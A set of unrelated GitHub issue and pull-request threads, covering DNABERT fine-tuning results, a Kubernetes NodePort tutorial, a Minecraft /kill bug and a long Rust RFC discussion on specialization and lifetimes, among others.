Spelling error in ReadME

Template was written as emplate in Readme

What this PR does / why we need it:
Which issue this PR fixes (optional, in
fixes #<issue number>(, fixes #<issue_number>, ...) format, will close that
issue when PR gets merged): fixes #
Checklist

[ ] Does this PR have a corresponding GitHub issue?
[ ] Have you added debug messages where necessary?

Special notes for your reviewer:

@ayush5588 If you could MERGE it , I would also love to work more on this repo


prediction outputs & model classes

Hello,
1. Prediction outputs
When I run fine-tuning script on prom-core set, I get the following results:
01/12/2021 16:02:40 - INFO - __main__ -   ***** Eval results  *****
01/12/2021 16:02:40 - INFO - __main__ -     acc = 0.49248183814833585
01/12/2021 16:02:40 - INFO - __main__ -     auc = 0.5877368768457378
01/12/2021 16:02:40 - INFO - __main__ -     aupr = 0.5465873116339481
01/12/2021 16:02:40 - INFO - __main__ -     f1 = 0.6599501924383065
01/12/2021 16:02:40 - INFO - __main__ -     mcc = 0.0
01/12/2021 16:02:40 - INFO - __main__ -     precision = 0.49248183814833585
01/12/2021 16:02:40 - INFO - __main__ -     recall = 1.0

After that running the prediction script, the  results are:
01/12/2021 16:47:11 - INFO - __main__ -   ***** Pred results  *****
01/12/2021 16:47:11 - INFO - __main__ -     acc = 0.49248183814833585
01/12/2021 16:47:11 - INFO - __main__ -     auc = 0.587710896620401
01/12/2021 16:47:11 - INFO - __main__ -     aupr = 0.5466122449761592
01/12/2021 16:47:11 - INFO - __main__ -     f1 = 0.6599501924383065
01/12/2021 16:47:11 - INFO - __main__ -     mcc = 0.0
01/12/2021 16:47:11 - INFO - __main__ -     precision = 0.49248183814833585
01/12/2021 16:47:11 - INFO - __main__ -     recall = 1.0

The scores for two different tasks are almost almost completely identical. Also, not sure which dataset in the paper  prom-core corresponds to (maybe general), but the scores here looks quite different from the ones in paper.
Finally, when I first run fine-tune script and then predict for my own dataset, the results look like this
01/11/2021 19:39:51 - INFO - __main__ -   ***** Eval results  *****
01/11/2021 19:39:51 - INFO - __main__ -     acc = 0.5020841847159787
01/11/2021 19:39:51 - INFO - __main__ -     auc = 0.4945063291829262
01/11/2021 19:39:51 - INFO - __main__ -     aupr = 0.4952829066522459
01/11/2021 19:39:51 - INFO - __main__ -     f1 = 0.0
01/11/2021 19:39:51 - INFO - __main__ -     mcc = 0.0
01/11/2021 19:39:51 - INFO - __main__ -     precision = 0.0
01/11/2021 19:39:51 - INFO - __main__ -     recall = 0.0

I'm wondering why the last four metrics are zero? I am sure the data is formatted similar to your example, otherwise it wouldn't be able train in the first place, right? What could be the problem?
2. Different model classes
In run_pretrain.py there are several classes including Roberta and GPT. Can we also use these for pretraining if we use DNATokenizer ?
I'd appreciate it a lot if you could give some information about these two questions.

Hi,
For the first question, could you please show me the command you are using when running the model.
For the second question, yes, you can use it. But in our case, BERT and Roberta essential the same. GPT is for sequence generation. So I am not sure if it makes sense to use it in the DNA setting.

Hi
I have a similar issue. I run the example using the commands below:
3.3 Fine-tune with pre-trained model
export KMER=6
export MODEL_PATH='/home/zeeshan/DNABERT/6-new-12w-0/'
export DATA_PATH='/home/zeeshan/DNABERT/examples/sample_data/ft/prom-core/6/'
export OUTPUT_PATH='/home/zeeshan/DNABERT/examples/OUTPUT/'

Prediction
export KMER=6
export MODEL_PATH='/home/zeeshan/DNABERT/examples/OUTPUT/'
export DATA_PATH='/home/zeeshan/DNABERT/examples/sample_data/ft/prom-core/6/'
export PREDICTION_PATH='/home/zeeshan/DNABERT/examples/predout/'

After running the training and prediction codes, the result of the last (100th) one is exactly the same as the prediction result. Am I doing something wrong? or is there any option to choose the best weights for prediction purpose?
Please, find the eval_results.txt file attached with the screenshot of the prediction result for your reference.
eval_results.txt

I'm having similar issues. I am following the readme instructions and getting poor evaluation and prediction results after fine tuning. I downloaded the DNABERT6 pre-trained model and ran the fine-tune command for the prom-core task under section 3.3.
I get similar behaviour as seen in @Z-Abbas' eval_results.txt where the fine-tuning will be running okay until all of a sudden the accuracy drops to 0.507 or 0.492 and is stuck there, sometimes until the end of fine-tuning, causing the final prediction accuracy to be around the same. Sometimes this behaviour will stop after about 1000-2000 steps and if it does the final prediction accuracy might be a bit better (0.7-0.85). After running fine-tuning from a fresh clone several times, the best accuracy I can achieve is ~0.85 but most attempts either finish fine-tuning with accuracies of exactly 0.507/0.492 or around 0.75. I am using the repo exactly (using the same dev.tsv and train.tsv). I have also noticed that the loss often doesn't improve over the 3 epochs after the first few hundred steps.
TLDR; Results from fine-tuning DNABERT several times yields poor accuracies. Often it is either exactly 0.492 or 0.507, while other times it will be between 0.7-0.85.
Thanks for your help.

I'm having similar issues. I am following the readme instructions and getting poor evaluation and prediction results after fine tuning. I downloaded the DNABERT6 pre-trained model and ran the fine-tune command for the prom-core task under section 3.3.
I get similar behaviour as seen in @Z-Abbas' eval_results.txt where the fine-tuning will be running okay until all of a sudden the accuracy drops to 0.507 or 0.492 and is stuck there, sometimes until the end of fine-tuning, causing the final prediction accuracy to be around the same. Sometimes this behaviour will stop after about 1000-2000 steps and if it does the final prediction accuracy might be a bit better (0.7-0.85). After running fine-tuning from a fresh clone several times, the best accuracy I can achieve is ~0.85 but most attempts either finish fine-tuning with accuracies of exactly 0.507/0.492 or around 0.75. I am using the repo exactly (using the same dev.tsv and train.tsv). I have also noticed that the loss often doesn't improve over the 3 epochs after the first few hundred steps.
TLDR; Results from fine-tuning DNABERT several times yields poor accuracies. Often it is either exactly 0.492 or 0.507, while other times it will be between 0.7-0.85.
Thanks for your help.

Hi,
I think this task is relatively tricky. We found that the model may fail to converge in some cases. So please try different hyperparameter settings and random seed.

Hi,
I think this task is relatively tricky. We found that the model may fail to converge in some cases. So please try different hyperparameter settings and random seed.

Can you give us an example? because personally it a bit hard for me to follow your codes, even for simplest things like loading the model and pridicting labels

@jerryji1993 I am still facing the same issue even after cloning the latest repo. Can you please advice as I have my research based on this model.


Trouble following tutorial Using a Service to Expose Your App

Following the steps here I get to the step where I create a NodePort service and use curl to access it.
Now we can test that the app is exposed outside of the cluster using curl, the IP address of the Node and the externally exposed port:

curl http://"$(minikube ip):$NODE_PORT"

And we get a response from the server. The Service is exposed.

I do not get a response and eventually get the error
curl: (28) Failed to connect to <IP_ADDRESS> port 30140 after 75007 ms: Couldn't connect to server
Additionally the docs say there should be an external IP assigned after adding a NodePort service
We have a Service called kubernetes that is created by default when minikube starts the cluster. To create a new service and expose it to external traffic we'll use the expose command with NodePort as parameter.

kubectl expose deployment/kubernetes-bootcamp --type="NodePort" --port 8080

Let's run again the get services subcommand:

kubectl get services

We have now a running Service called kubernetes-bootcamp. Here we see that the Service received a unique cluster-IP, an internal port *and an external-IP (the IP of the Node).*

However I don't see this
% kubectl get services
NAME                  TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)          AGE
kubernetes            ClusterIP   <IP_ADDRESS>        <none>        443/TCP          160m
kubernetes-bootcamp   NodePort    <IP_ADDRESS>   <none>        8080:30552/TCP   6m8s

Running minikube service kubernetes-bootcamp does work to expose it though

Duplicate related issues we already have #41438 #40645 #42713

Duplicate related issues we already have #41438 #40645 #42713

Let's fix this, a lot of people are facing this issue.
/assign

/triage duplicate

https://github.com/kubernetes/website/issues/40645 is now closed.
I believe it is sufficient to close this issue as well.


ColIndexMapping::without_target_size is error-prone

https://github.com/risingwavelabs/risingwave/pull/13090#issuecomment-1782219418
ColIndexMapping is used to represent column change mapping in optimizer, the concept src_size and target_size of ColIndexMapping means schema length before change and schema length after change respectively. While in many occurrence we use ColIndexMapping::without_target_size to derive target_size from the mapping itself, which will lead to smaller target_size than the real schema length that it should be. If any code relies on the correctness of target_size, it will fail very subtly.

https://github.com/risingwavelabs/risingwave/issues/7234


Stress test will stack overflow while dropping

Possibly related: https://travis-ci.org/Thomasdezeeuw/tchannel/jobs/308087637.

Another one: https://travis-ci.org/Thomasdezeeuw/tchannel/jobs/308639314.


Blank JPEG Image

I'm using BBB board with ArduiCam ov5642, trying to take a single capture , everything works ok, i get the image file, but the image is empty (black) . Any idea where to look ? and yes, the lens cover is off :)
The code is taken from the BBB examples . SPI and I2C seem to be working fine.

Good, I have the same problem, have you solved it? I would greatly appreciate it

I face the same problem. Has anyone made any headway on this issue? Very eagerly looking for solutions.


Conda environment statement

Under "Next Steps", it says that we saw how to take a local Conda environment to the cloud, but I don't think that was demonstrated. As far as I can tell, the code demonstrates only how to use a curated environment.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 23f9d033-9007-7b0a-d651-88d5d3846b2a
Version Independent ID: c6efa8cc-8594-698b-21eb-5e4d9ad24bbd
Content: Tutorial: Train your first machine learning model - Python - Azure Machine Learning
Content Source: articles/machine-learning/tutorial-1st-experiment-sdk-train.md
Service: machine-learning
Sub-service: core
GitHub Login: @aminsaied
Microsoft Alias: amsaied

Thanks for the feedback! We are currently investigating and will update you shortly.

@bstollnitz Thanks for the feedback, I have created a PR to make this description better.

We will now proceed to close this thread. If there are further questions regarding this matter, please respond here and @YutongTie-MSFT and we will gladly continue the discussion.


exchange should redirect to market page when no market is selected

at https://stellarterm.com/#exchange  -- why doesn't it just go to the link on that page? Why make the extra step?
"To begin, go to the market list page and pick a trading pair." why not just go to the market page?

GOOD point


How to create a custom markdown markup?

I would like to add support for markdown custom markup like {color:#ff0000/}red text{color} which should be translated to red text in html mode.
Also I am using colorSyntaxPlugin which evaluates picked color to cool. Can I make it dynamically translated also to {color:#a72929/}cool{color} syntax?
Summary
Looking for resources to learn how to add support for custom markdown syntax.
Version
3.0.1
EDIT
From what I read and understood I am looking for something what was called convertor in version 1.x: https://nhn.github.io/tui.editor/1.4.10/tutorial-example14-custom-convertor right?

@js87zz correct me if I am wrong, but the architecture looks more or less like so, correct?

@michaltaberski
You can find the custom markdown syntax in this tutorial.
However, currently, only block customization is supported, and customization syntax for inline nodes is not yet officially supported. Your example is also an inline node, so it is not yet supported.😂
The plan for this feature is a priority, but I am not yet clear exactly when I can do the work.

@michaltaberski  have you found any solution?


Remove deploy from dev

Description of changes
This pull request does the following:

removes the deploy step at the end of the e2e tests that run when a PR is merged to dev
updates the release-rc.sh script to handle releasing an RC from a SHA
adds a promote-rc.sh script to promote the release candidate to release in NPM

Issue #, if available

Description of how you validated changes
Checklist

[ ] PR description included
[ ] yarn test passes
[ ] Tests are changed or added
[ ] Relevant documentation is changed or added (and PR referenced)
[ ] New AWS SDK calls or CloudFormation actions have been added to relevant test and service IAM policies

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Codecov Report

Merging #10760 (8757fc0) into dev (29192d5) will increase coverage by 0.00%.
The diff coverage is n/a.

@@           Coverage Diff           @@
##              dev   #10760   +/-   ##
=======================================
  Coverage   47.34%   47.34%
=======================================
  Files         669      669
  Lines       33085    33085
  Branches     6676     6676
=======================================
+ Hits        15664    15665    +1
+ Misses      15740    15739    -1
  Partials     1681     1681

Impacted Files
Coverage Δ

...li/src/domain/amplify-usageData/getUsageDataUrl.ts
100.00% <0.00%> (+12.50%)
:arrow_up:

:mega: Codecov can now indicate which changes are the most critical in Pull Requests. Learn more


Menu width should be stored in the Xml

Today it is calculated to string length * 10

And System menu widths should be stored in settings

Fixed!


Can't invoke downloadPageRanges(long offset, Long length)

In java doc(http://azure.github.io/azure-sdk-for-java/), we can find the api definition:
**List downloadPageRanges(long offset, Long length)
Returns a collection of page ranges and their starting and ending byte offsets.
List downloadPageRanges(long offset, Long length, AccessCondition accessCondition, BlobRequestOptions options, OperationContext opContext)
Returns a collection of page ranges and their starting and ending byte offsets using the specified request options and operation context.**
However, we can't find the api after import com.microsoft.azure.storage.blob.CloudPageBlob, we also test in other client environment, we only can use the following apis:
**ArrayList downloadPageRanges()
Returns a collection of page ranges and their starting and ending byte offsets.
ArrayList downloadPageRanges(AccessCondition accessCondition, BlobRequestOptions options, OperationContext opContext)
Returns a collection of page ranges and their starting and ending byte offsets using the specified request options and operation context.**
Please help check, thanks.

Any update? Please confirm the issue, thanks.

Please confirm the issue, thanks.

Which version of azure-storage are you using? I can see it here: https://github.com/Azure/azure-storage-java/blob/master/microsoft-azure-storage/src/com/microsoft/azure/storage/blob/CloudPageBlob.java#L461.

Haven't heard from you. I assume you've found a way out :) Please reopen if not.


Dockerfile: Bump runtime image to 2020-08-03 build

Bump the cilium-runtime image to update base packages.

test-backport-1.6

Hit #9297, which was a known issue filed after v1.6 release. That issue was marked as duplicate of #8945, which is only fixed in the last month or so, purportedly by #12248 (already backported to v1.6) or https://github.com/cilium/cilium/pull/11899 (not backported to v1.6).
It also only flaked out in the k8s 1.10 build, not the 1.16 build. So I think it's safe to ignore & merge.


fix: Clear domMap in ViewOperation

:tada: This PR is included in version 1.0.0 :tada:
The release is available on npm package (@latest dist-tag)
Your semantic-release bot :package::rocket:


Cannot /kill myself

The fix is to delete the "FirstAid" mod, but it is not in the "mods" folder.

The other fix is to nbtedit your player health to 0. The loading tips say don't use /kill. This is why.

Unfortunately, we have no permanent fix to this issue. Workaround is to not use /kill, and NBTEdit the player after it has occurred.


Update enable-the-report-message-add-in.md

Corrected the navigation to deploy add-in as it has changed in the new admin center.

Issue#https://github.com/MicrosoftDocs/microsoft-365-docs/issues/3148

@JohanFreelancer9 please copy review


Fix master branch flow errors

Automated message from Dropbox CLA bot
@kunall17, it looks like you've already signed the Dropbox CLA. Thanks!


Automate R dependencies (3)

I'm not seeing this issue...sorry if it's up already. This would be useful for the users (at least a check and notify function at a minimum). Also, for the Jenkin's job...if someone checks in a script with a new R package dependencies...it would be great if the Jenkin's job had the ability to automatically detect that and install if necessary.

[ ] Verify then install missing
[ ] Happens every time make is run
[ ] Should have CRAN, GRAN, Github capabilities (others?)
[ ] Modify viz.yaml structure if necessary
[ ] Include version but don't enforce it- make a message on verify, e.g., "You have version 2, they use version 1.6"

This issue is the newest expression of ideas in https://github.com/USGS-VIZLAB/vizlab/pull/106 and https://github.com/USGS-VIZLAB/vizlab/issues/91


And in the case of the more clear-cut example, where a specialized impls is clearly just dead code (based on knowledge that the crate has), we could provide a distinct lint, defaulted to error.
In short, we would still have some surprising dispatches, but we should be able to warn in typeck in all cases, and also guarantee agreement between typeck and trans.
To be clear, I'm not saying I favor this approach over a more explicit "dispatchability" knob. My main goal is to see whether the "ignore lifetimes in specialization" approach is even feasible.
I do think that the situations described above are going to be quite rare, and having a warning may well be enough to mitigate the surprising semantics. If that's true, it may be a good tradeoff against requiring all traits to grapple with an additional knob. In other words, we have a nasty bit of edge case complexity, which is very rare and explicitly warned against, versus a more principled but ubiquitous bit of complexity every trait author has to deal with.

@sgrif

Are there any more concrete examples of where constraining an impl on a lifetime is useful/desired outside of marker traits like Send?

One of the cases I'm most worried about is the following impl:
impl<'a, E: Error + 'a> From<E> for Box<Error + 'a>

This is currently in the standard library, and it's likely to be a recurring patterns: it's basically an impl for "lift this to a trait object", and it needs to carry through the lifetime information.
I'm trying to work out just how problematic this kind of impl is. It seems plausible that you can't actually create specialization trouble with this kind of impl, depending on the rest of the design we've been discussing. Hope to have more on this soon.

So I know that the implications with default associated types have been discussed, but I think the problem actually applies to any trait with associated types, defaulted or not. I've found a case in Diesel where I need to override an associated type (that is not defaulted) via specialization.
The problem case is:
impl<T, U> Expression for Eq<T, U> where
    T: Expression,
    U: Expression<SqlType=T::SqlType>,
{
    type SqlType = Bool;

    fn to_sql(...) { ... }
}

The problem being that x = NULL in SQL returns null. So what I need to write is effectively (assuming I can change the signature so that ST is used in an appropriate place here) is a specialized version to be:
impl<T, U, ST> Expression for Eq<T, U> where
    T: Expression<SqlType=Nullable<ST>>,
    U: Expression<SqlType=Nullable<ST>>,
{
    type SqlType = Nullable<Bool>;
}

So my questions are:

Is this possible under specialization as proposed today?
Do we need to expand our restrictions from "default associated types" to "anything with associated types"? Or are associated types in general just not specializable?

@sgrif
So, first, there may be some confusion about the default keyword and the idea of providing a default in the trait -- these are two separate (though related) concepts.
Your example would be allowed if the first impl said defaut type SqlType = Bool;, which is just a way of saying "this item is specializable".
However:

Marking the associated type default limits the places where the type checker can deduce what the type is. That is, in general if you just have some E: Eq<T, U> and you ask for E::SqlType you won't be able to deduce that it's Bool. And that's good, because it may not be Bool! There are actually relatively few cases where you can successfully extract out the type. The most common case is when you have a completely concrete type and are extracting SqlType from it. So it'd be useful to know how SqlType ends up getting used in your code.

What's been proposed recently is that we just don't let you write default for associated types, due to the above restriction being extremely limiting in practice (and therefore the feature both subtle and not very useful -- we think).

It'd be great if you could give a bit more context about what kinds of things you do with SqlType, to see whether specialization on associated types could actually work for you.

@aturon

I think I was a little too hasty to dismiss your initial idea. But I also disagree that the "ignore lifetimes for specialization" approach entails trans picking impls. I think it's quite plausible for select to provide the single code path that handles all uses in the same way.

Is it a fair summary of your idea to say that we develop a "lifetime
agnostic" predicate to use when selecting the best impl in a
specialization family and then use the same predicate from both typeck
and trans?

@nikomatsakis As an extremely rough approximation, yes. But most of my comment is devoted to explaining that the way you need to employ that predicate is more subtle than it seems at first glance.

@aturon

As an extremely rough approximation, yes. But most of my comment is devoted to explaining that the way you need to employ that predicate is more subtle than it seems at first glance.

OK, so I went back and re-read more carefully. =) Here are some detailed comments:

Now, we can tell when an impl is being ignored on this basis, using the algorithm above. Moreover, we know that's happening at typeck type. So we can easily issue a lint at the call site.

Because of monomorphization, we can issue a lint, but the lint may turn out to be kind of obscure, right? For example, consider this crate:
// crate A
trait SomeTrait { }

impl<T:Foo> SomeTrait for T { }
impl<T:Foo+Bar> SomeTrait for T { }

fn do_something<T:Clone>() { /* use methods from SomeTrait */ }

Now if we have a client crate like:
// client crate B
struct SomeType<'r> { }
impl<'r> Foo for SomeTrait<'r> { }

OK, that comment posted prematurely, but I at least edited it to not end in the middle of a sentence. :)

I got lost when the discussion moved to whether specialization should ignore lifetimes or not.
Can somebody explain why specialization should ignore life-times? Being able to specialize on a type having a particular lifetime seems to be a niche but useful feature.
From what I understood from the discussion it seems that allowing lifetimes is either difficult to implement or results in ambiguities and other problems but I just couldn't follow the discussion on those points.

@gnzlbg Yes, I'm sorry, the discussion has gotten extremely technical.
The basic problem is that, for a variety of reasons, we either can't or don't want to specialize based on lifetime information:

We can't, because when the compiler goes to actually generate code ("trans"), lifetime information has been erased -- so we'd have no idea what specializations would apply.

We don't want to, because lifetime inference is subtle and would often lead to counterintuitive results. For example, you could easily fail to get 'static even if it applies, because inference is choosing the smallest lifetime that matches the other constraints.

In general, we have a strong preference for lifetimes not to influence dispatch in any way.
If you take all of that as a given, the question becomes: how do we deal with the various ways that impls can depend on lifetimes (and therefore appear to specialize on them)? And do so backwards compatibly?
The main choices on the table right now are:

Be maximally permissive in the impls you can write, and then just ignore lifetime information in dispatch. We can possibly generate a warning when this is happening. The assumption here is that these "missed specializations" will be rare, so better not to impose a burden on everyone to rule them out.

Try, somehow, to prevent you from writing impls that appear to dispatch based on lifetimes. The most likely way of doing that is to somehow flag a trait as "lifetime-dependent". If a trait is lifetime-dependent, it can have lifetime-sensitive impls (like ones that apply only to 'static data), but it cannot be used when writing specialized impls of another trait.

The downside of (2) is that it's an additional knob that trait authors have to think about. We're trying to figure out how often the annotation would have to be used.
Hope that helps -- I'm glad to elaborate any of these points further.

It makes a lot of sense that lifetimes should never influence dispatch, thanks for explaining.  :)
Is adding that knob in (2) is really so bad though?  Any complex dispatch rules have a significant impact on code readability by requiring that readers be more paranoid.  It'll be more relaxing to read code if these overrides are marked more explicitly.
You could for example require the keyword overridable in both in the trait itself and in the impl.  If a trait has overridable components, then impl cannot depend on lifetimes.  In this way, you get the knob for (2) in a way that warns readers about the twisty dispatch rules.  An extra keyword in the trait definition might be more boon to the trait readers than a burden to the trait writers, no?

@burdges Sorry, I think I wasn't clear enough about the knob. This is a different knob from "can be specialized" (which I agree, we really want; it's in the RFC).
This is rather: can be used to specialize something else.
Concretely:
#[lifetime_dependent]
trait Foo {}

// Only allowed to use 'static here because of the lifetime_dependent attribute
impl Foo for &'static str {}

trait Bar { fn bar(&self); }
impl<T> Bar for T {
    // Have to use `default` here to allow specialization
    default fn bar(&self) {}
}

// CANNOT write the following impl, because `Foo` is lifetime_dependent
// NOTE: this is what I mean by *using* a trait in specialization;
// we are trying to say a specialization applies when T: Foo holds
impl<T: Foo> Bar for T {
    fn bar(&self) { ... }
}

// CANNOT write the following impl, because `Bar` is not lifetime_dependent
impl Bar for &'static str {
    fn bar(&self) { ... }
}

The lifetime_dependent knob here is subtle, and switching your choice in either direction can break downstream code:

If a trait gains a lifetime_dependent attribute, any impl of a different trait that used it to specialize would become illegal.
If a trait loses its lifetime_dependent attribute, any impl of that trait that was lifetime dependent would become illegal.

I've been thinking more about the "worse is better" (ignore some impls) vs "principled" (create two categories of traits) approaches here. @aturon told me on IRC that I sound like I am very opposed to the "worse is better" approach. It may sound this way, but that's not really the case. I mean, I AM wary, but I'm also very wary of trying to separate traits into two distinct categories.
It seems to me that, no matter which solution we pick, it would be very nice if the vast majority of impls were "lifetime parametric" (i.e., not "lifetime dependent"). This is certainly my intuition. The more that impls are heavily biased towards being lifetime parametric, the more appealing the "worse is better" approach is. That is, if say 99% of impls are lifetime parametric, that means that the probability that the 'worse is better' approach will bite you is pretty low.
Interestingly, the more that impls are evenly divided between lifetime parametric and not, the less appealing (to me) it is to create two explicit categories of traits. This is because it will be harder to predict and pick which one you should use! Having two categories works well if you can almost always pick one of them, and it's fairly clear when to pick the other.
So by this logic I think I actually do prefer the "worse is better" approach, despite my misgivings! Basically because if we find that non-parametric impls are common, I would start to get worried about the complexity of specialization as a whole, and I would want to see if we can consider other approaches that might lose flexibility but sidestep some of the problems.
So I think the first questions to answer are:

just how do we best formally define "lifetime parametric"? I think we're still lacking a good definition, though @aturon and I came close in a conversation the other day. (And maybe he's made further progress there in the meantime.)
what percentage of impls "in the wild" are lifetime parametric? Are there patterns there?

Presuming the answer to the second question is a small number, then I think I would favor experimenting with the worse is better solution. I'd want to take our time stabilizing though, to be good and sure we've gotten enough experience to make an informed decision.

@aturon thanks for the explanation, that really helped!

Yes, thank you for the explanation!
As an aside, actually proving that specialized impls do the same thing sounds hard.  It's maybe worth mentioning that problem to academics who work around formal verification, Coq, Idris, etc. occasionally, probably interesting research and PhD projects on that topic.

@sgrif

I'm strongly in favor of including the lattice rule in this, as almost 100% of my use cases for this rely on it. It seems like a straightforward and well defined way to allow a myriad of cases that are disallowed today. We could even consider some significant changes to the coherence restrictions due to its presence.

Can you say a bit more about what your use cases are?

I've pushed a batch of updates (apologies for the rebase!):

I reverted the introduction of the lattice rule; more on that below.
I added a detailed algorithm for coping with lifetime sensitivity, based on my earlier comment.
I changed partial impl to default impl, and made the items within implicitly default.
I kept associated type specialization intact.

With these changes, there are no more unresolved questions (from this thread or the implementation). I believe they also move toward a consensus design, and hope that we can thus move toward FCP. I am eager to land the initial implementation and start getting feedback from use, to solidify our view on the design tradeoffs.
Details below.
Reverting the lattice rule
I recently updated the RFC to use the more permissive "lattice rule", which allows partial overlap between impls, as long as there is an impl covering exactly the area of overlap (which disambiguates).
However, in this last update, I have reverted back to the simple chain rule. There are a few reasons for doing so:

The lattice rule (or any extension to the chain rule) turns out to play very poorly with the inability to dispatch on lifetimes; more on that in a moment.
*T he motivation for the rule is relatively weak, compared to the core of the RFC.
The lattice adds significant implementation complexity.

So my preference is to start with the simple chain rule, and consider the lattice rule in a follow-up RFC, once we have a broader set of use cases that demand it, and more experience with specialization over all.
What's the problem with lifetimes? I hit on the following example:
trait Foo {}
impl<T, U> Foo for (T, U) where T: 'static {}
impl<T, U> Foo for (T, U) where U: 'static {}
impl<T, U> Foo for (T, U) where T: 'static, U: 'static {}

This example is enabled by the lattice rule, but is deeply problematic: we cannot apply the "ignore lifetime for dispatch" approach here, because there is no safe impl to fall back to! At trans-time, there's simply nothing we can do. So using such impls must be a hard error.

I've pushed a batch of updates (apologies for the rebase!):

I reverted the introduction of the lattice rule; more on that below.
I added a detailed algorithm for coping with lifetime sensitivity, based on my earlier comment.
I changed partial impl to default impl, and made the items within implicitly default.
I kept associated type specialization intact.

With these changes, there are no more unresolved questions (from this thread or the implementation). I believe they also move toward a consensus design, and hope that we can thus move toward FCP. I am eager to land the initial implementation and start getting feedback from use, to solidify our view on the design tradeoffs.
Please have a look, and let me know if you have questions/concerns!
Details below.
Reverting the lattice rule
I recently updated the RFC to use the more permissive "lattice rule", which allows partial overlap between impls, as long as there is an impl covering exactly the area of overlap (which disambiguates).
However, in this last update, I have reverted back to the simple chain rule. There are a few reasons for doing so:

The lattice rule (or any extension to the chain rule) turns out to play very poorly with the inability to dispatch on lifetimes; more on that in a moment.
*T he motivation for the rule is relatively weak, compared to the core of the RFC.
The lattice adds significant implementation complexity.

So my preference is to start with the simple chain rule, and consider the lattice rule in a follow-up RFC, once we have a broader set of use cases that demand it, and more experience with specialization over all.
What's the problem with lifetimes? I hit on the following example:
trait Foo {}
impl<T, U> Foo for (T, U) where T: 'static {}
impl<T, U> Foo for (T, U) where U: 'static {}
impl<T, U> Foo for (T, U) where T: 'static, U: 'static {}

This example is enabled by the lattice rule, but is deeply problematic: we cannot apply the "ignore lifetime for dispatch" approach here, because there is no safe impl to fall back to! At trans-time, there's simply nothing we can do. So using such impls must be a hard error.
The current proposal for handling lifetime dependency is via a lint, and a hard error here seems deeply unfortunate, since it could easily involve types, traits and impls that are all foreign to the crate being compiled.
As discussed in the new RFC text, we can revisit the lattice rule backwards-compatibly later, via a follow-up RFC.
@sgrif, you mentioned that you really needed the lattice rule, but didn't give details. Can you elaborate? Note, though, that even if there's a compelling use case, at this point I think I'd prefer to work out the design and motivations in a follow-up RFC.
Algorithm for lifetime sensitivity
I've adopted the approach of: "allow all impls, and lint when specializations are ignored due to lifetime dependencies". The full discussion is here.
default impl
One of the remaining questions was: should default items in traits be specializable? In other words, is the following allowed?
trait Foo {
    fn foo() { println!("default"); }
}

// the "initial" impl
impl<T: Clone> Foo for T {}

// a more speicalized impl
impl Foo for u32 {
    fn foo() { println!("specialized"); }
}

In my mind, the answer has to be yes: the fact that you can override (not use) those items when writing an impl is a limited form of specialization that we have today. It would be very strange to allow only a single shot at specialization (in the initial impl).
As such, I've rolled this together with a revision of partial impl to be default impl instead, and to implicitly treat each provided item as default. That is, not only is the above example OK, but it's equivalent to the following:
trait Foo {
    fn foo();
}

default impl<T> Foo for T {
    fn foo() { println!("default"); }
}

// the "initial" impl
impl<T: Clone> Foo for T {}

// a more speicalized impl
impl Foo for u32 {
    fn foo() { println!("specialized"); }
}

This approach has a number of benefits:

A more coherent programmer model: default items, wherever they are provided, are always specializable.
One fewer keyword.
Better ergonomics, since you don't have to repeat default for each item in a default impl.
A better story for the default keyword, since it's effectively always referring to the unifying concept of a default implementation that can be overridden in more specialized cases.

Associated types
We've discussed associated type specialization a fair amount on this thread. In the current semantics, the rest of an impl must treat a default type definition as opaque -- it can only assume that the type obeys any bounds listed in the trait. It's not entirely clear how useful such a feature is, but it fits well into the overall programmer model, and there are some hints that it can unlock substantial type-level programming.
Rather than strip out this feature (which I've already implemented), I am keeping it in the RFC. However, I would like to gate it separately from the rest of specialization. I think this is another case that needs real-world experimentation before we can decide on its usefulness, and I'd like that decision to be separate from the one for specialization over all.

Update: I added a section on the lifetime_dependent attribute as an alternative handling of lifetime issues.

@aturon
I've not read the changes, but I'm happy with them from your summary, at least to start. However, I do want to take issue with one minor detail. You wrote:

With these changes, there are no more unresolved questions (from this thread or the implementation).

To my mind, the question of whether to lint or trigger a hard error is still an unresolved questions in the sense that there are things that I would like make sure we revisit before stabilization (though the RFC describes a provisional semantics).
As to that question, I wanted to jot down some more thoughts that arose in a conversation over IRC with @aturon, and which seemed worth noting down. A lint (or nothing at all) seems appropriate for "optimization-like" use cases, where the semantics are the same no matter which impl you choose. A hard error seems appropriate for "inheritance" like use cases, where we are actually refining the behavior users expect to see. In the extreme end, this might even be something that users choose, either on a per trait or per impl basis. I think having some use in the wild will really inform this decision, because we'll have a clearer picture of how specialization is being used in practice.
- It's worth pointing out that "hard errors" can later be changed into softer fallback, but not vice versa.
Regarding whether to adopt the lattice rule (or other similar extensions to the chain rule), I agree that moving that discussion to a follow-up RFC (or amendment, same difference) is a good idea, particularly since the interactions with lifetime dispatch are more complex, and that is not yet something we are fully comfortable with even just in the chain rule context. It's worth noting though that this decision does sort of intersect the above question about fallback vs hard errors (i.e., adopting the lattice rule implies we need some form of hard error to handle the impossible case you described).
Finally, I wanted to note down some of the reasons that I have soured on the idea of having traits that are tagged as lifetime parametric. Some of these also arose out of that conversation with @aturon:

The choice between "lifetime dispatch" or not is very abstract and I don't think its implications will be widely understood. (Compare that to the choice I mentioned above of "specialization for performance" vs "specialization to pick a new behavior", which seems in contrast rather concrete.)
There is the point I raised that, if this case is rare, then making two different ways to categorize traits is a very big hammer to hit a very small nail and (correspondingly) the idea of fallback is much less scary.
Making the switch be "per trait" only sort of makes sense anyway and may lead to a lot of false alarms. Here is an example where the lifetime dependent impl does not cause a problem:

trait SometimesDep {}
impl<T: 'static> SometimesDep for T {} // lifetime dependent
impl SometimesDep for i32 {} // but still true for this specialization anyway
trait Spec {}
impl<T> Spec for T {}
impl<T: SometimesDep> Spec for T {}

Finally, I expect the above scenario to arise frequently (as a false alarm) when you have struct types that do not fully declare their WF bounds. For example, I may have struct Foo<T>, but the only way to construct a Foo is inside of a impl<T:'static> Foo<T> { fn new() }, and then every other impl also claims that T: 'static. This pattern is not uncommon, for various reasons, but seems likely to lead to "false positives".

In my mind, the answer has to be yes: the fact that you can override (not use) those items when writing an impl is a limited form of specialization that we have today. It would be very strange to allow only a single shot at specialization (in the initial impl).

I see partial impls as being very distinct from specializable impls, in both their type-system effect and use-cases.
 Its like intrinsics and intrinsic reexports translating to different things.

